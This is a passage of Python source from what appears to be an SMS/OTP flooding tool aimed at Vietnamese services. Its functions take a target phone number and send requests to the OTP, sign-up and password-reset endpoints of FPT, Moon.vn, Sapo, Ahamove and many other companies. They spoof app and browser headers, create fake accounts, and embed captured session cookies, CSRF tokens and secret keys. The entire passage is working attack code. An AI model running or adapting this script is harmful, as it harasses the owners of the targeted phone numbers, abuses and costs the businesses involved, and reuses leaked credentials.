		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		# 'cookie': 'mage-cache-storage={}; mage-cache-storage-section-invalidation={}; form_key=2t5QRPIHEoET1XqG; recently_viewed_product={}; recently_viewed_product_previous={}; recently_compared_product={}; recently_compared_product_previous={}; product_data_storage={}; mage-messages=; form_key=2t5QRPIHEoET1XqG; PHPSESSID=bi4pnbrrv425ea5sd74nuusk58; city_id=1; X-Magento-Vary=de9de66e57881beeebcb76e4db8a29ecd7a66c6f08b2640dae67162824fbd615; district_id=1; seller_code_selected=1; mage-cache-sessid=true; private_content_version=33bf4549bd7b106f6f4c6475f8ecf7d9; section_data_ids={%22compare-products%22:1735998838%2C%22cart%22:1735998838%2C%22messages%22:1735998932}',
		'origin': 'https://aiosmart.com.vn',
		'priority': 'u=1, i',
		'referer': 'https://aiosmart.com.vn/customer/account/login/',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
		'sec-fetch-dest': 'empty',
		'sec-fetch-mode': 'cors',
		'sec-fetch-site': 'same-origin',
		'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'x-requested-with': 'XMLHttpRequest',
	}

	data = {
		'login[otp]': '',
		'login[telephone]': sdt,
		'login[username]': 'Dat Gac',
		'confirm': 'on',
		'form_key': '2t5QRPIHEoET1XqG',
	}

	try:
		response = requests.post(
			'https://aiosmart.com.vn/advancedlogin/login/sendOtpRegister/',
			cookies=cookies,
			headers=headers,
			data=data,
		)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def fpt(sdt): #fptid longchau
	cookies = {
		'.AspNetCore.Antiforgery.GFaQlakWipg': 'CfDJ8NeBk3ntjPdOi7d2FDqzzZ6LY04lu9fL2mL1YkfLYiSPY1470_7eMBpNxBwWIF-V8EzAYTjw0iV2PgYTn_eZKb-yDdeWRMRGQzwilLTPJORrmpfNjIIyZXDp6iAH99RYHOgTxmD4YbAWQrpkVu-lX_8',
		'INGRESSCOOKIE': '1736000046.687.53.350621|7fba285e5548cf27d0d7a70b981762e8',
		'fptid-antiforgery': 'CfDJ8NeBk3ntjPdOi7d2FDqzzZ42TQu_trg0IT8zm9vPl-m7rHM2MutLy8khVyDPlbEeHt7oh54K4rSx17oBo7q1ZaVF348glqk09283mtOfVtnzXsaVRu7o1To3Wq691IDrvnDaL6CHoEMQ5ATsdG_cdMw',
		'.AspNetCore.Session': 'CfDJ8NeBk3ntjPdOi7d2FDqzzZ7Xzv7QE33HM08ZFxINxS%2BSnqtHjq%2FpTGV%2BOT%2B8VfXKoxuDN5SbGM2I9sv4%2FvkG3OU8c80Yyf7MnDM5owX9kZCuIC1CQw%2FU0H3mLlq7PDIjvFJuXMYjxE6a5NayOK41w19ME7iNGA4OjeN%2FyK3QdgEq',
		'fptid-session': 'CfDJ8NeBk3ntjPdOi7d2FDqzzZ5U%2FgyhTlJWBCzh8TIejjMhS5EcBK%2B8NOBUC9bxZI%2Ft5GqWUq%2Ft4D8aVjUV4wZpXrKw4IIKD%2F2UeMaodbeC9lYmAkns9uv4MC1dm1IAxc4q4m4x64jUPTBPP1HLWMYzV56u%2FU9HpMcoh23cwm6yZFzI',
		'oauth2_authentication_csrf_insecure': 'MTczNjAwMDA0NXxEdi1CQkFFQ180SUFBUkFCRUFBQVB2LUNBQUVHYzNSeWFXNW5EQVlBQkdOemNtWUdjM1J5YVc1bkRDSUFJR0V5WXpnMlptRmxOelUxWmpRM01qWmlNR015TldNMk9UTmhNVGxrWTJabHzZpWCCW00nPqqetX9JGOnfDPp2qgkZ7ObOtiMTnSwH5g==',
	}

	headers = {
		'Accept': '*/*',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Connection': 'keep-alive',
		'Content-Type': 'application/json',
		# 'Cookie': '.AspNetCore.Antiforgery.GFaQlakWipg=CfDJ8NeBk3ntjPdOi7d2FDqzzZ6LY04lu9fL2mL1YkfLYiSPY1470_7eMBpNxBwWIF-V8EzAYTjw0iV2PgYTn_eZKb-yDdeWRMRGQzwilLTPJORrmpfNjIIyZXDp6iAH99RYHOgTxmD4YbAWQrpkVu-lX_8; INGRESSCOOKIE=1736000046.687.53.350621|7fba285e5548cf27d0d7a70b981762e8; fptid-antiforgery=CfDJ8NeBk3ntjPdOi7d2FDqzzZ42TQu_trg0IT8zm9vPl-m7rHM2MutLy8khVyDPlbEeHt7oh54K4rSx17oBo7q1ZaVF348glqk09283mtOfVtnzXsaVRu7o1To3Wq691IDrvnDaL6CHoEMQ5ATsdG_cdMw; .AspNetCore.Session=CfDJ8NeBk3ntjPdOi7d2FDqzzZ7Xzv7QE33HM08ZFxINxS%2BSnqtHjq%2FpTGV%2BOT%2B8VfXKoxuDN5SbGM2I9sv4%2FvkG3OU8c80Yyf7MnDM5owX9kZCuIC1CQw%2FU0H3mLlq7PDIjvFJuXMYjxE6a5NayOK41w19ME7iNGA4OjeN%2FyK3QdgEq; fptid-session=CfDJ8NeBk3ntjPdOi7d2FDqzzZ5U%2FgyhTlJWBCzh8TIejjMhS5EcBK%2B8NOBUC9bxZI%2Ft5GqWUq%2Ft4D8aVjUV4wZpXrKw4IIKD%2F2UeMaodbeC9lYmAkns9uv4MC1dm1IAxc4q4m4x64jUPTBPP1HLWMYzV56u%2FU9HpMcoh23cwm6yZFzI; oauth2_authentication_csrf_insecure=MTczNjAwMDA0NXxEdi1CQkFFQ180SUFBUkFCRUFBQVB2LUNBQUVHYzNSeWFXNW5EQVlBQkdOemNtWUdjM1J5YVc1bkRDSUFJR0V5WXpnMlptRmxOelUxWmpRM01qWmlNR015TldNMk9UTmhNVGxrWTJabHzZpWCCW00nPqqetX9JGOnfDPp2qgkZ7ObOtiMTnSwH5g==',
		'Origin': 'https://accounts.fpt.vn',
		'Referer': 'https://accounts.fpt.vn/sso/Auth/Identifier?challenge=c80cc09c52624b1cb657c56dab58b5df',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'X-CSRF-TOKEN': 'CfDJ8NeBk3ntjPdOi7d2FDqzzZ4zmAnjBXTetxuAdJ-mGohqqMxohUzIO6ZWrwGR8PMXpyFBhFjqVZ5JtGpF5MqNEpoYhjQP6iCLzAqkFPZDMHHptzd11xPhq0KoL3ddx1sbelFu2tj4UMhg-xCfNzgh1hE',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	json_data = {
		'Username': sdt,
		'Challenge': 'c80cc09c52624b1cb657c56dab58b5df',
	}

	try:
		response = requests.post('https://accounts.fpt.vn/sso/partial/username', cookies=cookies, headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def unicar(sdt):
	headers = {
		'Host': 'api.unicar.vn',
		'accept': 'application/json, text/plain, */*',
		'content-type': 'application/json',
		'user-agent': 'unicar/9 CFNetwork/1494.0.7 Darwin/23.4.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	json_data = {
		'phoneNumber': sdtt(sdt),
		'app': 'uni',
		'v': '34.10',
	}

	try:
		response = requests.post('https://api.unicar.vn/uauth/login_phone', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def lozido(sdt): #ap check
	headers = {
		'Host': 'quanlytro.me',
		'accept': 'application/json, text/plain, */*',
		'content-type': 'application/json',
		'user-agent': 'lozido_room_mobile/286 CFNetwork/1494.0.7 Darwin/23.4.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	params = {
		'_app_version': '1.9.9',
	}

	json_data = {
		'name': 'huy hub',
		'phone': sdt,
		'password': '123123aA@',
		'password_confirmation': '123123aA@',
	}

	response = requests.post('https://quanlytro.me/api/householder/v1/register', params=params, headers=headers, json=json_data)
	headers = {
		'Host': 'quanlytro.me',
		'accept': 'application/json, text/plain, */*',
		'content-type': 'application/json',
		'user-agent': 'lozido_room_mobile/286 CFNetwork/1494.0.7 Darwin/23.4.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	params = {
		'_app_version': '1.9.9',
	}

	json_data = {
		'phone': sdt,
	}

	try:
		response = requests.post('https://quanlytro.me/api/householder/v1/send-otp', params=params, headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def moonvn(sdt):
	headers = {
		'Accept': 'application/json',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Access-Control-Allow-Headers': 'Access-Control-Allow-Origin, Accept',
		'Access-Control-Allow-Origin': '*',
		'Authorization': 'Bearer',
		'Connection': 'keep-alive',
		# 'Content-Length': '0',
		'Content-Type': 'application/json',
		'Origin': 'https://moon.vn',
		'Referer': 'https://moon.vn/',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-site',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 OPR/115.0.0.0',
		'sec-ch-ua': '"Chromium";v="130", "Opera";v="115", "Not?A_Brand";v="99"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	params = {
		'phoneNumber': sdt,
	}

	try:
		response = requests.post('https://identity.moon.vn/api/v2/user/register/regOTP', params=params, headers=headers)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def pingpush(sdt): #ap cleancall CHECK
	headers = {
		'Host': 'cleancall-api.pingpush.vn:8443',
		'device': '06490740-8F1E-426C-98DC-BDC244123A08',
		'content-type': 'application/json',
		'devicename': 'iPhone',
		'accept': 'Application/json',
		'user-agent': 'PPCallBlocker/3 CFNetwork/1494.0.7 Darwin/23.4.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	json_data = {
		'username': sdt,
	}

	response = requests.post('https://cleancall-api.pingpush.vn:8443/user/forget_password', headers=headers, json=json_data)
	headers = {
		'Host': 'cleancall-api.pingpush.vn:8443',
		'device': '06490740-8F1E-426C-98DC-BDC244123A08',
		'content-type': 'application/json',
		'devicename': 'iPhone',
		'accept': 'Application/json',
		'user-agent': 'PPCallBlocker/3 CFNetwork/1494.0.7 Darwin/23.4.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	json_data = {
		'phone_number': sdt,
		'password': '123123aA@',
	}

	try:
		response = requests.post('https://cleancall-api.pingpush.vn:8443/user/create', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def ting(sdt): #ap check
	headers = {
		'Host': 'api.ting.vn',
		'x-language': 'vi',
		'Content-Type': 'application/json',
		'User-Agent': 'TingUserApp/3 CFNetwork/1494.0.7 Darwin/23.4.0',
		'Accept': 'application/json, text/plain, */*',
		'Accept-Language': 'vi-VN,vi;q=0.9',
		'Authorization': 'Bearer null',
	}

	json_data = {
		'phone': sdt,
	}

	try:
		response = requests.post('https://api.ting.vn/users/request-otp-login', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def kanow(sdt): #ap
	headers = {
		'Host': 'system.kanow.vn',
		'accept': 'application/json',
		'content-type': 'application/json',
		'user-agent': 'Kanow/2 CFNetwork/1494.0.7 Darwin/23.4.0',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	json_data = {
		'phone': sdt,
		'event': 'register',
	}

	try:
		response = requests.post('https://system.kanow.vn/api/create_otp_sign_up', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def butlsms(sdt): #ap check
	headers = {
		'Host': 'app-khach-v2.butl.vn',
		'Content-Type': 'text/plain;charset=UTF-8',
		'Accept': '*/*',
		'User-Agent': 'BUTLUSER/1 CFNetwork/1494.0.7 Darwin/23.4.0',
		'Accept-Language': 'vi-VN,vi;q=0.9',
	}
	data = f'''{{
    "cmd": "doRegister",
    "data": {{
        "accessToken": "",
        "platform": 1,
        "deviceInfo": "iPhone XR",
        "token": "1",
        "countryCode": "84",
        "email": "1",
        "clientVersion": 1,
        "deviceID": "AD475342-6B7B-4C93-AFAB-CE68811AC06C",
        "name": "",
        "phone": "{sdt}",
        "password": "123456",
        "otp_method": "sms"
    }}
    }}'''

	try:
		response = requests.post('https://app-khach-v2.butl.vn/ButlAppServlet/user/services', headers=headers, data=data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def butlzl(sdt): #ap ^^^ check
	headers = {
		'Host': 'app-khach-v2.butl.vn',
		'Content-Type': 'text/plain;charset=UTF-8',
		'Accept': '*/*',
		'User-Agent': 'BUTLUSER/1 CFNetwork/1494.0.7 Darwin/23.4.0',
		'Accept-Language': 'vi-VN,vi;q=0.9',
	}
	data = f'''{{
    "cmd": "doRegister",
    "data": {{
        "accessToken": "",
        "platform": 1,
        "deviceInfo": "iPhone XR",
        "token": "1",
        "countryCode": "84",
        "email": "1",
        "clientVersion": 1,
        "deviceID": "AD475342-6B7B-4C93-AFAB-CE68811AC06C",
        "name": "",
        "phone": "{sdt}",
        "password": "123456",
        "otp_method": "zalo"
    }}
    }}'''

	try:
		response = requests.post('https://app-khach-v2.butl.vn/ButlAppServlet/user/services', headers=headers, data=data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def ilokafood(sdt):
	headers = {
		'Host': 'back.iloka.vn:9999',
		'Content-Type': 'application/json',
		'Origin': 'capacitor://localhost',
		'Accept': 'application/json, text/plain, */*',
		'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148',
		'Accept-Language': 'vi-VN,vi;q=0.9',
	}

	json_data = {
		'phone': sdt,
	}

	try:
		response = requests.post('http://back.iloka.vn:9999/api/v2/customer/sentZaloOTP', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def vieclam24h(sdt): #ap
	headers = {
		'Host': 'api.mobile.vieclam24h.vn',
		'content-type': 'application/json',
		'accept': 'application/json, text/plain, */*',
		'authorization': 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjaGFubmVsX2NvZGUiOiJ2bDI0aCIsInVzZXIiOm51bGx9.a0POm2ZVRwetYs2QsMj0sRg8lZSSbKufX4sewqhAM5o',
		'app-version': '1.10.0',
		'app-name': 'VIECLAM24H-MOBILE-APP',
		'os': 'IOS',
		'accept-language': 'vi-VN,vi;q=0.9',
		'x-api-version': '1.0',
		'user-agent': 'Vieclam24h/1 CFNetwork/1494.0.7 Darwin/23.4.0',
		'lang': 'vi',
		'os-version': '17.4.1',
	}

	json_data = {
		'type': 1,
		'mobile': sdt,
	}

	try:
		response = requests.post('https://api.mobile.vieclam24h.vn/seeker/request-otp', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def sobanhangzl(sdt): #ap
	headers = {
		'Host': 'api.sobanhang.com',
		'content-type': 'application/json',
		'accept': 'application/json',
		'x-location-timezone': 'UTC+07:00',
		'x-current-version': '3.1.3',
		'accept-language': 'vi-VN,vi;q=0.9',
		'user-agent': 'finan/2 CFNetwork/1494.0.7 Darwin/23.4.0',
		'x-current-screen': 'PasswordHandlerScreen',
		'x-locale-code': 'vi_VN',
	}

	json_data = {
		'phone_number': sdt,
		'pwd': None,
		'platform': 'gtapp',
		'device_id': '796B9301-42DF-4340-BFDF-D415E8E0F5C7',
		'action': 'create_account',
		'email': 'boyssss5@gmail.com',
		'receiving_method': 'phone_number',
		'is_send_zns': True,
		'secret_key': 'df753c9cb291dfd4789cc95834211ac34c509a90fb80c2c8a8430acb3cdda8ab3d8a9176b98fb10ac04a2c47f6b5c72fd4386a',
	}

	try:
		response = requests.post('https://api.sobanhang.com/finan-user/api/v2/auth/account/request', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def sobanhang(sdt): #ap ^
	headers = {
		'Host': 'api.sobanhang.com',
		'content-type': 'application/json',
		'accept': 'application/json',
		'x-location-timezone': 'UTC+07:00',
		'x-current-version': '3.1.3',
		'accept-language': 'vi-VN,vi;q=0.9',
		'user-agent': 'finan/2 CFNetwork/1494.0.7 Darwin/23.4.0',
		'x-current-screen': 'VerifyOTPScreen',
		'x-locale-code': 'vi_VN',
	}

	json_data = {
		'phone_number': sdt,
		'action': 'create_account',
		'platform': 'gtapp',
		'device_id': '796B9301-42DF-4340-BFDF-D415E8E0F5C7',
		'receiving_method': 'phone_number',
		'is_send_zns': False,
		'secret_key': '1b30cd4319584f071d51f40e4528f03992be48da3538a09cc0c9aee4655c331acd941dc0e169c3d82eade9f3f52cc86cafb535',
	}

	try:
		response = requests.post('https://api.sobanhang.com/finan-user/api/v2/auth/account/request', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def sfin(sdt): #ap \sshop\ CHECK
	headers = {
		'Host': 'proapi.sspa.com.vn',
		'Content-Type': 'application/json',
		'User-Agent': 'sshop/4 CFNetwork/1494.0.7 Darwin/23.4.0',
		'Accept': 'application/json, text/plain, */*',
		'Accept-Language': 'vi-VN,vi;q=0.9',
		'appid': 'SSHOP',
		'appversion': '1.248',
	}

	json_data = {
		'username': f'84{sdt[1:10]}',
		'type': 'REGISTRATION',
		'appId': 'SSHOP',
		'languageCode': 'vi',
	}

	try:
		response = requests.post('https://proapi.sspa.com.vn/auth/v2/otp/generate-v2', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def sapo(sdt): #ap
	cookies = {
		'_ce.s': 'v~49080a70832696e187ca7fecd56e47732d086b79~lcw~1737281377270~vir~new~lva~1737281358226~vpv~0~v11.fhb~1737281358870~v11.lhb~1737281358870~v11.cs~200798~v11.s~7235a980-d64d-11ef-b9eb-6fd44cdb52b3~v11.sla~1737281377273~lcw~1737281377274',
		'_gcl_au': '1.1.469866645.1737281357.833280956.1737281366.1737281366',
		'_ga_8Z6MB85ZM2': 'GS1.1.1737281358.1.0.1737281362.56.0.0',
		'_ga_P9DPF3E00F': 'GS1.1.1737281357.1.0.1737281361.56.0.1419720187',
		'_fbp': 'fb.1.1737281358518.413443319714398426',
		'_ga': 'GA1.1.1455940863.1737281357',
		'_ga_HXMGB9WRVX': 'GS1.1.1737281359.1.0.1737281359.60.0.0',
		'_ce.clock_data': '78%2C171.224.177.243%2C2%2Ced14c804f644b5b0aaa13f3f8ddb4a1f%2CMobile%20Safari%2CVN',
		'_ga_EBZKH8C7MK': 'GS1.2.1737281358.1.0.1737281358.0.0.0',
		'_ga_Y9YZPDEGP0': 'GS1.1.1737281358.1.0.1737281358.60.0.0',
		'_ga_YNVPPJ8MZP': 'GS1.1.1737281357.1.0.1737281358.59.0.0',
		'_pk_id.564990941.8ae7': '0.1737281358.1.1737281358.1737281358.',
		'_pk_ses.564990941.8ae7': '*',
		'cebs': '1',
		'cebsp_': '1',
		'_ga_8956TVT2M3': 'GS1.1.1737281357.1.0.1737281357.60.0.0',
		'_ga_CDD1S5P7D4': 'GS1.1.1737281357.1.0.1737281357.60.0.0',
		'_ga_GECRBQV6JK': 'GS1.1.1737281357.1.0.1737281357.60.0.0',
		'_gat_UA-239546923-1': '1',
		'_gat_gtag_UA_66880228_1': '1',
		'_gid': 'GA1.2.2026095079.1737281357',
		'lang': 'vi',
	}

	headers = {
		'Host': 'accounts.sapo.vn',
		# 'Cookie': '_ce.s=v~49080a70832696e187ca7fecd56e47732d086b79~lcw~1737281377270~vir~new~lva~1737281358226~vpv~0~v11.fhb~1737281358870~v11.lhb~1737281358870~v11.cs~200798~v11.s~7235a980-d64d-11ef-b9eb-6fd44cdb52b3~v11.sla~1737281377273~lcw~1737281377274; _gcl_au=1.1.469866645.1737281357.833280956.1737281366.1737281366; _ga_8Z6MB85ZM2=GS1.1.1737281358.1.0.1737281362.56.0.0; _ga_P9DPF3E00F=GS1.1.1737281357.1.0.1737281361.56.0.1419720187; _fbp=fb.1.1737281358518.413443319714398426; _ga=GA1.1.1455940863.1737281357; _ga_HXMGB9WRVX=GS1.1.1737281359.1.0.1737281359.60.0.0; _ce.clock_data=78%2C171.224.177.243%2C2%2Ced14c804f644b5b0aaa13f3f8ddb4a1f%2CMobile%20Safari%2CVN; _ga_EBZKH8C7MK=GS1.2.1737281358.1.0.1737281358.0.0.0; _ga_Y9YZPDEGP0=GS1.1.1737281358.1.0.1737281358.60.0.0; _ga_YNVPPJ8MZP=GS1.1.1737281357.1.0.1737281358.59.0.0; _pk_id.564990941.8ae7=0.1737281358.1.1737281358.1737281358.; _pk_ses.564990941.8ae7=*; cebs=1; cebsp_=1; _ga_8956TVT2M3=GS1.1.1737281357.1.0.1737281357.60.0.0; _ga_CDD1S5P7D4=GS1.1.1737281357.1.0.1737281357.60.0.0; _ga_GECRBQV6JK=GS1.1.1737281357.1.0.1737281357.60.0.0; _gat_UA-239546923-1=1; _gat_gtag_UA_66880228_1=1; _gid=GA1.2.2026095079.1737281357; lang=vi',
		'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'accept': '*/*',
		'sec-fetch-site': 'same-site',
		'accept-language': 'vi-VN,vi;q=0.9',
		'sec-fetch-mode': 'cors',
		'origin': 'https://app.sapo.vn',
		'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/537.36',
		'referer': 'https://app.sapo.vn/',
		'sec-fetch-dest': 'empty',
	}

	data = {
		'CountryCode': '84',
		'InfoSource': '',
		'FullName': 'duy dub',
		'PhoneNumber': sdt,
		'StoreName': 'huy bb6',
		'PackageTitle': 'mobile_v3',
		'City': 'Hồ Chí Minh',
		'Preferred': '',
		'SaleName': '',
		'Reference': '',
		'Source': 'iphone',
		'Referral': '',
		'Campaign': '',
		'LandingPage': '',
		'StartTime': '',
		'EndTime': '',
		'PageView': '',
		'AffId': '',
		'AffTrackingId': '',
		'Partner': '',
		'Type': '1',
		'PreferredService': '',
		'SalesTeam': '',
		'SocialSource': '',
		'FacebookName': '',
		'FacebookAvatar': '',
		'FacebookId': '',
		'FacebookEmail': '',
		'GoogleId': '',
		'GoogleEmail': '',
		'GoogleName': '',
		'Country': '',
	}

	try:
		response = requests.post('https://accounts.sapo.vn/register', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def truedoc(sdt): #ap
	headers = {
		'Host': 'mapi.aihealth.vn',
		'accept': 'application/json',
		'content-type': 'application/json; charset=utf-8',
		'x-auth-id': '9B1B13952BD9FF446AB569BBB49B3',
		'authorization': 'Bearer ',
		'postman-token': 'f3dc96f9-6287-46cb-9b93-7d69dfeca783,298d8d62-ed78-4b27-b614-182d047e15fa',
		'x-requested-with': 'XMLHttpRequest',
		'user-agent': 'AI_HEALTH/14 CFNetwork/1494.0.7 Darwin/23.4.0',
		'accept-language': 'vi-VN',
	}

	params = {
		'Phone': sdt,
		'CountryCode': '84',
		'DeviceId': '5308E878-5785-4579-B17D-736E1E008E47',
		'UuidByKeychain': '5308E878-5785-4579-B17D-736E1E008E47',
		'GrantType': 'register_key',
	}

	try:
		response = requests.get('https://mapi.aihealth.vn/api/mobile/v1/sso/register/key', params=params, headers=headers)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def upos(sdt):
	cookies = {
		'PHPSESSID': 'r0g4am8fc9mca3oog8qoqr210c',
		'csrf_cookie_name': '7de896c744b3243507adc8464c4639b0',
		'ci_site_session': 'a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%226109b7920c5c1919fa56eb79e4931d6f%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22192.168.20.254%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F131.0.0.0%20Safari%2F537.36%20OPR%2F116.%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1739087391%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D96dd2d0798aeec97ac9687f941e36d6d16d971a6',
		'client_token': '0ed4d83674c1c142d8677203d89926ad173908741521897055',
	}

	headers = {
		'Accept': 'application/json, text/javascript, */*; q=0.01',
		'Accept-Language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7',
		'Connection': 'keep-alive',
		# 'Cookie': 'PHPSESSID=r0g4am8fc9mca3oog8qoqr210c; csrf_cookie_name=7de896c744b3243507adc8464c4639b0; ci_site_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%226109b7920c5c1919fa56eb79e4931d6f%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22192.168.20.254%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F131.0.0.0%20Safari%2F537.36%20OPR%2F116.%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1739087391%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D96dd2d0798aeec97ac9687f941e36d6d16d971a6; client_token=0ed4d83674c1c142d8677203d89926ad173908741521897055',
		'Referer': 'https://upos.vn/vn/dang-ky.html?package=pos',
		'Sec-Fetch-Dest': 'empty',
		'Sec-Fetch-Mode': 'cors',
		'Sec-Fetch-Site': 'same-origin',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0',
		'X-Requested-With': 'XMLHttpRequest',
		'sec-ch-ua': '"Opera";v="116", "Chromium";v="131", "Not_A Brand";v="24"',
		'sec-ch-ua-mobile': '?0',
		'sec-ch-ua-platform': '"Windows"',
	}

	try:
		response = requests.get(f'https://upos.vn/vn/home/send_brandname_otp/{sdt}', cookies=cookies, headers=headers)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def ghephang(sdt): #ap
	cookies = {
		'session_id_gh': '"c6/127.0.0.1-9db86a4f-16d6-4114-ac03-4c1162339dc6"',
	}

	headers = {
		'Host': 'quanly.ghephang.com',
		'Accept': 'application/json, text/plain, */*',
		# 'Cookie': 'session_id_gh="c6/127.0.0.1-9db86a4f-16d6-4114-ac03-4c1162339dc6"',
		'User-Agent': 'GhepHangKhachHang/22 CFNetwork/1494.0.7 Darwin/23.4.0',
		'Accept-Language': 'vi-VN,vi;q=0.9',
	}

	params = {
		'phone': sdt,
		'id_device': 'CFAA3646-4D74-43A4-ADAC-4240BBAF87BF',
		'zalo': '0',
	}

	try:
		response = requests.get(
			'https://quanly.ghephang.com/gh/api_driver/send_otp_v2.json',
			params=params,
			cookies=cookies,
			headers=headers,
		)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def ghephangzl(sdt): #^^^^ ap
	cookies = {
		'session_id_gh': '"c6/127.0.0.1-9db86a4f-16d6-4114-ac03-4c1162339dc6"',
	}

	headers = {
		'Host': 'quanly.ghephang.com',
		'Accept': 'application/json, text/plain, */*',
		# 'Cookie': 'session_id_gh="c6/127.0.0.1-9db86a4f-16d6-4114-ac03-4c1162339dc6"',
		'User-Agent': 'GhepHangKhachHang/22 CFNetwork/1494.0.7 Darwin/23.4.0',
		'Accept-Language': 'vi-VN,vi;q=0.9',
	}

	params = {
		'phone': sdt,
		'id_device': 'CFAA3646-4D74-43A4-ADAC-4240BBAF87BF',
		'zalo': '1',
	}

	try:
		response = requests.get(
			'https://quanly.ghephang.com/gh/api_driver/send_otp_v2.json',
			params=params,
			cookies=cookies,
			headers=headers,
		)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def ahamove(sdt): #ap \giao hang go!\
	random_email = generate_random_email()
	headers = {
		'Host': 'api.ahamove.com',
		'accept': '*/*',
		'content-type': 'application/json',
		'accepts-version': '2',
		'user-agent': 'OnWheel_Supplier OnWheel/1.7 (com.ahamove.GoOi; build:5; iOS 17.4.1) Alamofire/5.9.1',
		'accept-language': 'vi-VN;q=1.0',
	}

	data = f'{{"name":"tran duc","lat":9.996776283119221,"email":"{random_email}","mobile":"{sdt}","country_code":"VN","lng":29.648256066635,"referral_code":""}}'

	response = requests.post('https://api.ahamove.com/api/v3/public/supplier/register', headers=headers, data=data)
	headers1 = {
		'Host': 'api.ahamove.com',
		'accept': '*/*',
		'content-type': 'application/json',
		'accepts-version': '2',
		'user-agent': 'OnWheel_Supplier OnWheel/1.7 (com.ahamove.GoOi; build:5; iOS 17.4.1) Alamofire/5.9.1',
		'accept-language': 'vi-VN;q=1.0',
	}

	json_data = {
